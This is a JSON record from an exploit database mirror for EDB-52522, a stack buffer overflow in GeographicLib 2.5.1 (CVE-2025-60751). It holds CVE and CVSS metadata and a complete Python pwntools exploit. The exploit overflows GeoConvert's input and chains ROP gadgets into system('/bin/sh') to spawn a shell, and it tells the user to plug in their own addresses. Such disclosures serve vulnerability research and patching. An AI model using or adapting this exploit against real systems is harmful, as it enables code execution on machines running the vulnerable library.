{"exploit":{"id":"EDB-52522","name":"GeographicLib 2.5.1 - Stack Buffer Overflow","description":"GeographicLib 2.5.1 - Stack Buffer Overflow","cves":["CVE-2025-60751"],"author":"rosario","published":"2026-04-29","platform":"multiple","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52522","path":"exploits/multiple/webapps/52522.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52522.py","vulnerabilities":[{"id":"CVE-2025-60751","state":"PUBLISHED","title":null,"titleSource":null,"description":"GeographicLib 2.5 is vulnerable to Buffer Overflow in GeoConvert DMS::InternalDecode.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2025-60751","cvss":{"version":"3.1","baseScore":7.5,"severity":"high","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","source":"CISA-ADP","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2025-60751"},"updatedAt":"2025-11-04T00:12:06.391Z","retrievedAt":"2026-11-25T16:15:50.748Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52522.png?v=2","url":"https://exploitbin.com/exploits/EDB-52522","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52522/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52522/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"Exploit title: GeographicLib v2.5.1 - stack buffer overflow\nDate of discovery: 20 August 2025\nExploit Author: Me zer0matt (Rosario Matteo Grammatico)\n<https://github.com/zer0matt>\nVendor homepage: https://github.com/geographiclib/\nSoftware link: https://github.com/geographiclib/geographiclib\nAffected version: GeographicLib <= v2.5.1\nTested on: Kali Linux 6.12.25-amd64 (Virtual Machine)\nCVE id: CVE-2025-60751\nGithub issue: https://github.com/geographiclib/geographiclib/issues/43\nExploit repository: https://github.com/zer0matt/CVE-2025-60751\nBlog post: https://zer0matt.github.io/CVE-2025-60751/\n\n\nfrom pwn import *\n\n# --- INITIAL CONFIG ---\nbinary_path = \"./GeoConvert\"\nelf = ELF(binary_path)\ncontext.binary = elf\ncontext.arch = 'amd64'\n\n# --- REPLACE THE ADDRESSES WITH YOUR OWN ONES ---\npop_rdi = 0x000055555558BEFD\nret_gadget = 0x000055555558A016\nsystem_addr = 0x7ffff7a5d110\nbinsh_addr = 0x7ffff7bb1ea4\nexit_addr = 0x7ffff7a4c340\n\n# --- PAYLOAD ---\noffset = 136\npayload = b\"A\" * offset\npayload += p64(ret_gadget)   # stack align\npayload += p64(pop_rdi)      # pop rdi; ret\npayload += p64(binsh_addr)   # \"/bin/sh\" address\npayload += p64(system_addr)  # system(\"/bin/sh\")\npayload += p64(exit_addr)    # exit\n\n\nio = process(binary_path, env={\"ASAN_OPTIONS\":\"detect_stack_use_after_return=1\"})\nio.sendline(payload)\nio.interactive()","sha256":"e03ac18f02dc5d87d6f233ab8fbc62cf2fe8aef324a995c9236486ff951310d6","bytes":1337,"fetchedAt":"2026-11-26T11:17:16.214Z","encoding":"utf-8 (display only; download retains original bytes)"}